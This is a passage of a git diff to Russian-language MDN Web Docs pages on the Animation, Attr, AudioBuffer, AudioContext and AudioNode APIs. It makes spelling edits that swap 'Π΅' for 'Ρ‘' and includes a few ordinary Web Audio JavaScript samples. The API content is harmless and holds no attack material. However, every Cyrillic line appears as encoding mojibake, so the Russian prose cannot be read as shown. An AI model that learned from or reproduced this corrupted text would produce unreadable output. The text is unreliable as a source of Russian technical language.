+ <dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈ Π·Π°Π΄Π°Ρ‘Ρ‚ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ событий для Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΈΡ события.</dd>
</dl>
<h2 id="ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹">ΠœΠ΅Ρ‚ΠΎΠ΄Ρ‹</h2>
@@ -70,7 +70,7 @@ translation_of: Web/API/Animation
<dt>{{domxref("Animation.cancel()")}}</dt>
<dd>ΠžΡ‡ΠΈΡ‰Π°Π΅Ρ‚ всС {{domxref("KeyframeEffect", "keyframeEffects")}} Π²Ρ‹Π·Π²Π°Π½Π½Ρ‹Π΅ этой Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠ΅ΠΉ ΠΈ ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‰Π°Π΅Ρ‚ Π΅Π³ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅.</dd>
<dt>{{domxref("animation.commitStyles()")}}</dt>
- <dd>ЀиксируСт ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ состояниС стиля Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΊ Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΌΡƒ элСмСнту, Π΄Π°ΠΆΠ΅ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ эта анимация Π±Ρ‹Π»Π° ΡƒΠ΄Π°Π»Π΅Π½Π°. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ состояниС стиля Π±ΡƒΠ΄Π΅Ρ‚ записано Π² Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт Π² Π²ΠΈΠ΄Π΅ свойств Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° стиля.</dd>
+ <dd>ЀиксируСт ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ состояниС стиля Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΊ Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅ΠΌΠΎΠΌΡƒ элСмСнту, Π΄Π°ΠΆΠ΅ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ эта анимация Π±Ρ‹Π»Π° ΡƒΠ΄Π°Π»Π΅Π½Π°. Π­Ρ‚ΠΎ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ состояниС стиля Π±ΡƒΠ΄Π΅Ρ‚ записано Π² Π°Π½ΠΈΠΌΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт Π² Π²ΠΈΠ΄Π΅ свойств Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° стиля.</dd>
</dl>
<dl>
@@ -94,7 +94,7 @@ translation_of: Web/API/Animation
<dt>{{domxref("Animation.reverse()")}}</dt>
<dd>ΠœΠ΅Π½ΡΠ΅Ρ‚ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ воспроизвСдСния, ΠΎΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°ΡΡΡŒ Π² Π½Π°Ρ‡Π°Π»Π΅ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. Если анимация Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π° ΠΈΠ»ΠΈ Π½Π΅ Π·Π°ΠΏΡƒΡ‰Π΅Π½Π°, Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°Ρ‚ΡŒΡΡ с ΠΊΠΎΠ½Ρ†Π° ΠΊ Π½Π°Ρ‡Π°Π»Ρƒ.</dd>
<dt>{{domxref("Animation.updatePlaybackRate()")}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ послС синхронизации Π΅Π΅ полоТСния воспроизвСдСния.</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ послС синхронизации Π΅Ρ‘ полоТСния воспроизвСдСния.</dd>
</dl>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/api/attr/index.html b/files/ru/web/api/attr/index.html
index 303090a17a..c8e1ce971a 100644
--- a/files/ru/web/api/attr/index.html
+++ b/files/ru/web/api/attr/index.html
@@ -17,23 +17,23 @@ translation_of: Web/API/Attr
<dt>{{domxref("Attr.name", "name")}} {{readOnlyInline}}</dt>
<dd>Имя Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°.</dd>
<dt>{{domxref("Attr.namespaceURI", "namespaceURI")}} {{readOnlyInline}}</dt>
- <dd>{{domxref("DOMString")}}<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"> </span></font>прСдставлСниС URI пространства ΠΈΠΌΠ΅Π½ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, ΠΈΠ»ΠΈ NULL Ссли Π½Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ пространства ΠΈΠΌΠ΅Π½.</dd>
+ <dd>{{domxref("DOMString")}}<font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);"> </span></font>прСдставлСниС URI пространства ΠΈΠΌΡ‘Π½ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, ΠΈΠ»ΠΈ NULL Ссли Π½Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ пространства ΠΈΠΌΠ΅Π½.</dd>
<dt>{{domxref("Attr.localName", "localName")}} {{readOnlyInline}}</dt>
<dd>{{domxref("DOMString")}}Β  прСдставлСниС локальной части ΠΏΠΎΠ»Π½ΠΎΠ³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°.</dd>
<dt>{{domxref("Attr.prefix", "prefix")}} {{readOnlyInline}}</dt>
- <dd>{{domxref("DOMString")}}Β  прСдставлСниС прСфикс пространства ΠΈΠΌΠ΅Π½ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, ΠΈΠ»ΠΈ NULL, Ссли прСфикс Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½.</dd>
+ <dd>{{domxref("DOMString")}}Β  прСдставлСниС прСфикс пространства ΠΈΠΌΡ‘Π½ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, ΠΈΠ»ΠΈ NULL, Ссли прСфикс Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½.</dd>
<dt>{{domxref("Attr.ownerElement", "ownerElement")}} {{readOnlyInline}}</dt>
<dd>
<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚, содСрТащий Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚.</p>
<div class="note">
- <p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> DOM ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ 4 ΡƒΠ΄Π°Π»ΠΈΠ» это свойство.ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π»ΠΎΡΡŒ, Ρ‡Ρ‚ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π’Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Attr ΠΎΡ‚ {{domxref("Element")}}, Π²Ρ‹ Π·Π°Ρ€Π°Π½Π΅Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π½Π°Ρ‚ΡŒ связанный элСмСнт.Β Β ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это Π½Π΅ Π²Π΅Ρ€Π½ΠΎ Π² случаях, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ Attr, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΌΒ  {{domxref("Document.evaluate")}},Β DOMΒ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΆΠΈΠ·Π½ΠΈ вновь Π²Π²Π΅Π» это свойство.Β </p>
+ <p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> DOM ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ 4 ΡƒΠ΄Π°Π»ΠΈΠ» это свойство.ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π»ΠΎΡΡŒ, Ρ‡Ρ‚ΠΎ, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π’Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Attr ΠΎΡ‚ {{domxref("Element")}}, Π²Ρ‹ Π·Π°Ρ€Π°Π½Π΅Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π·Π½Π°Ρ‚ΡŒ связанный элСмСнт.Β Β ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это Π½Π΅ Π²Π΅Ρ€Π½ΠΎ Π² случаях, ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ Attr, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΡ‹ΠΌΒ  {{domxref("Document.evaluate")}},Β DOMΒ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ ΠΆΠΈΠ·Π½ΠΈ вновь Π²Π²Ρ‘Π» это свойство.Β </p>
<p>Gecko Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΎΠ± использовании, начиная с Gecko 7.0Β {{geckoRelease("7.0")}}.Β Π­Ρ‚ΠΎ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ Π±Ρ‹Π»ΠΎ ΡƒΠ΄Π°Π»Π΅Π½ΠΎ Π² Gecko 49.0 (Firefox 49.0 / Thunderbird 49.0 / SeaMonkey 2.46).</p>
</div>
</dd>
<dt>{{domxref("Attr.specified", "specified")}} {{readOnlyInline}}</dt>
- <dd>Π­Ρ‚ΠΎ свойство всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true. ΠŸΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ, ΠΎΠ½ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»ΠΎ true, Ссли Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π±Ρ‹Π» явно ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ Π² исходном ΠΊΠΎΠ΄Π΅ ΠΈΠ»ΠΈ сцСнариСм ΠΈ false, Ссли Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠ±Ρ‹Π»ΠΎ ΠΈΠ· значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΌ Π² DTD Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.</dd>
+ <dd>Π­Ρ‚ΠΎ свойство всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ true. ΠŸΠ΅Ρ€Π²ΠΎΠ½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ, ΠΎΠ½ΠΎ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π»ΠΎ true, Ссли Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π±Ρ‹Π» явно ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² исходном ΠΊΠΎΠ΄Π΅ ΠΈΠ»ΠΈ сцСнариСм ΠΈ false, Ссли Π΅Ρ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈΠ±Ρ‹Π»ΠΎ ΠΈΠ· значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ Π² DTD Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.</dd>
<dt>{{domxref("Attr.value", "value")}}</dt>
<dd>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°</dd>
</dl>
@@ -74,7 +74,7 @@ translation_of: Web/API/Attr
<dt><code>previousSibling</code></dt>
<dd>Π­Ρ‚ΠΎ свойство всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β  <code>NULL</code>.</dd>
<dt><code>schemaTypeInfo</code> {{obsolete_inline}} {{readOnlyInline}}</dt>
- <dd>БвСдСния ΠΎ Ρ‚ΠΈΠΏΠ΅, связанныС с этим Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ информация ΠΎ Ρ‚ΠΈΠΏΠ΅, содСрТащаяся Π² этом Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅, Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ послС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈΠ»ΠΈ Π²Ρ‹Π·ΠΎΠ²Π°Β  {{domxref("Document.normalizeDocument")}}, это свойство ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅Π½Π°Π΄Π΅ΠΆΠ½Ρ‹ΠΌ, Ссли ΡƒΠ·Π΅Π» Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½.</dd>
+ <dd>БвСдСния ΠΎ Ρ‚ΠΈΠΏΠ΅, связанныС с этим Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ. Π’ Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ информация ΠΎ Ρ‚ΠΈΠΏΠ΅, содСрТащаяся Π² этом Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅, Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ послС Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΈΠ»ΠΈ Π²Ρ‹Π·ΠΎΠ²Π°Β  {{domxref("Document.normalizeDocument")}}, это свойство ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π½Π΅Π½Π°Π΄Ρ‘ΠΆΠ½Ρ‹ΠΌ, Ссли ΡƒΠ·Π΅Π» Π±Ρ‹Π» ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π΅Π½.</dd>
<dt>Β </dt>
<dt><code>specified</code></dt>
<dd>Π­Ρ‚ΠΎ свойство всСгда Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β Β <code>true</code>.</dd>
diff --git a/files/ru/web/api/audiobuffer/index.html b/files/ru/web/api/audiobuffer/index.html
index b2972a1f78..f2d6e5e0e4 100644
--- a/files/ru/web/api/audiobuffer/index.html
+++ b/files/ru/web/api/audiobuffer/index.html
@@ -8,7 +8,7 @@ translation_of: Web/API/AudioBuffer
<div>
<h2 id="Π‘Π²ΠΎΠ΄ΠΊΠ°">Π‘Π²ΠΎΠ΄ΠΊΠ°</h2>
-<p><code>AudioBuffer</code>Β - это интСрфСйс короткого звукового рСсурса (audio asset), находящСгося в памяти ΠΈ созданного из Π°ΡƒΠ΄ΠΈΠΎΡ„Π°ΠΉΠ»Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ {{ domxref("AudioContext.decodeAudioData()") }}, ΠΈΠ»ΠΈ ΠΈΠ· исходных Π΄Π°Π½Π½Ρ‹Ρ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{ domxref("AudioContext.createBuffer()") }}. ΠŸΠΎΠΌΠ΅Ρ‰Π΅Π½Π½Ρ‹Π΅ Π² AudioBuffer Π·Π²ΡƒΠΊΠΎΠ²Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅Β ΠΌΠΎΠ³ΡƒΡ‚Β Π±Ρ‹Ρ‚ΡŒ воспроизвСдСны в  {{ domxref("AudioBufferSourceNode") }}.</p>
+<p><code>AudioBuffer</code>Β - это интСрфСйс короткого звукового рСсурса (audio asset), находящСгося в памяти ΠΈ созданного из Π°ΡƒΠ΄ΠΈΠΎΡ„Π°ΠΉΠ»Π° ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ {{ domxref("AudioContext.decodeAudioData()") }}, ΠΈΠ»ΠΈ ΠΈΠ· исходных Π΄Π°Π½Π½Ρ‹Ρ… с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° {{ domxref("AudioContext.createBuffer()") }}. ΠŸΠΎΠΌΠ΅Ρ‰Ρ‘Π½Π½Ρ‹Π΅ Π² AudioBuffer Π·Π²ΡƒΠΊΠΎΠ²Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅Β ΠΌΠΎΠ³ΡƒΡ‚Β Π±Ρ‹Ρ‚ΡŒ воспроизвСдСны в  {{ domxref("AudioBufferSourceNode") }}.</p>
</div>
<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ этого Ρ‚ΠΈΠΏΠ° ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Ρ‹ для хранСния Π½Π΅Π±ΠΎΠ»ΡŒΡˆΠΈΡ… Π·Π²ΡƒΠΊΠΎΠ²Ρ‹Ρ… Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ², ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΌΠ΅Π½Π΅Π΅ 45 сСкунд. Для Π±ΠΎΠ»Π΅Π΅ Π΄Π»ΠΈΠ½Π½Ρ‹Ρ… Π·Π²ΡƒΠΊΠΎΠ², ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΡŽΡ‰ΠΈΠ΅Β {{domxref("MediaElementAudioSourceNode")}} ΡΠ²Π»ΡΡŽΡ‚ΡΡ Π±ΠΎΠ»Π΅Π΅ подходящими. Π­Ρ‚ΠΎΡ‚ Π±ΡƒΡ„Π΅Ρ€ содСрТит Π΄Π°Π½Π½Ρ‹Π΅ Π² Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅Β Π½Π΅ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅ΠΌΠΎΠ³ΠΎΒ IEE754 32-Π±ΠΈΡ‚Π½ΠΎΠ³ΠΎΒ Π»ΠΈΠ½Π΅ΠΉΠ½ΠΎΠ³ΠΎΒ Π˜ΠšΠœ с Π½ΠΎΠΌΠΈΠ½Π°Π»ΡŒΠ½Ρ‹ΠΌ Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ΠΎΠΌΒ ΠΎΡ‚ -1 Π΄ΠΎ +1,Β Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ 32-битный буфСр с ΠΏΠ»Π°Π²Π°ΡŽΡ‰Π΅ΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉΒ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎΒ Π·Π²ΡƒΠΊΠΎΠ²ΠΎΠ³ΠΎΒ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°Β (samples)Β ΠΎΡ‚ -1.0 Π΄ΠΎ 1.0. Если {{domxref("AudioBuffer")}} ΠΈΠΌΠ΅Π΅Ρ‚ нСсколько ΠΊΠ°Π½Π°Π»ΠΎΠ², Ρ‚ΠΎ ΠΎΠ½ΠΈ хранятся Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ Π±ΡƒΡ„Π΅Ρ€Π΅.</p>
@@ -17,7 +17,7 @@ translation_of: Web/API/AudioBuffer
<dl>
<dt>{{domxref("AudioBuffer.AudioBuffer", "AudioBuffer()")}}</dt>
- <dd><span class="hidden">Β </span>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>AudioBuffer</code>.</dd>
+ <dd><span class="hidden">Β </span>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>AudioBuffer</code>.</dd>
<dt>
<h2 id="Бвойства"><span class="hidden">Β </span>Бвойства</h2>
</dt>
@@ -49,7 +49,7 @@ translation_of: Web/API/AudioBuffer
<pre class="brush: js;highlight:[7,14,27]">// Π‘Ρ‚Π΅Ρ€Π΅ΠΎ
var channels = 2;
-// Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ пустой двухсСкундный стСрСо-Π±ΡƒΡ„Π΅Ρ€
+// Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ пустой двухсСкундный стСрСо-Π±ΡƒΡ„Π΅Ρ€
// с частотой Π·Π²ΡƒΠΊΠ° AudioContext (sample rate)
var frameCount = audioCtx.sampleRate * 2.0;
var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
diff --git a/files/ru/web/api/audiocontext/createmediaelementsource/index.html b/files/ru/web/api/audiocontext/createmediaelementsource/index.html
index 87e504f6c6..6693ef14dc 100644
--- a/files/ru/web/api/audiocontext/createmediaelementsource/index.html
+++ b/files/ru/web/api/audiocontext/createmediaelementsource/index.html
@@ -42,11 +42,11 @@ var myScript = document.querySelector('script');
pre.innerHTML = myScript.innerHTML;
-// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ MediaElementAudioSourceNode
+// Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ MediaElementAudioSourceNode
// На основС HTMLMediaElement
var source = audioCtx.createMediaElementSource(myAudio);
-// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ ΡƒΠ·Π΅Π» контроля громкости (усилСния)
+// Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ ΡƒΠ·Π΅Π» контроля громкости (усилСния)
var gainNode = audioCtx.createGain();
// ΠŸΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, содСрТащиС Y ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρƒ курсора ΠΌΡ‹ΡˆΠΈ
diff --git a/files/ru/web/api/audiocontext/index.html b/files/ru/web/api/audiocontext/index.html
index 17b32839d0..ad057ccfe6 100644
--- a/files/ru/web/api/audiocontext/index.html
+++ b/files/ru/web/api/audiocontext/index.html
@@ -66,7 +66,7 @@ translation_of: Web/API/AudioContext
<dt>{{domxref("AudioContext.createOscillator()")}}</dt>
<dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("OscillatorNode")}}, источник, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ собой ΠΏΠ΅Ρ€ΠΈΠΎΠ΄ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ Π²ΠΎΠ»Π½Ρƒ Π·Π²ΡƒΠΊΠΎΠ²ΠΎΠ³ΠΎ сигнала.</dd>
<dt>{{domxref("AudioContext.createPanner()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("PannerNode")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для пространствСнного опрСдСлСния Π°ΡƒΠ΄ΠΈΠΎ-ΠΏΠΎΡ‚ΠΎΠΊΠ° Π² Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΌ пространствС.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("PannerNode")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для пространствСнного опрСдСлСния Π°ΡƒΠ΄ΠΈΠΎ-ΠΏΠΎΡ‚ΠΎΠΊΠ° Π² Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΌ пространствС.</dd>
<dt>{{domxref("AudioContext.createPeriodicWave()")}}</dt>
<dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ {{domxref("PeriodicWave")}}, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для опрСдСлСния пСриодичСской Π²ΠΎΠ»Π½Ρ‹ Π·Π²ΡƒΠΊΠΎΠ²ΠΎΠ³ΠΎ сигнала, которая, Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для опрСдСлСния Π²Ρ‹Π²ΠΎΠ΄Π° Π²Β {{ domxref("OscillatorNode") }}.</dd>
<dt>{{domxref("AudioContext.createWaveShaper()")}}</dt>
diff --git a/files/ru/web/api/audionode/index.html b/files/ru/web/api/audionode/index.html
index f4b7693230..57b2f450a2 100644
--- a/files/ru/web/api/audionode/index.html
+++ b/files/ru/web/api/audionode/index.html
@@ -4,7 +4,7 @@ slug: Web/API/AudioNode
translation_of: Web/API/AudioNode
---
<p>{{ APIRef("Web Audio API") }}<br>
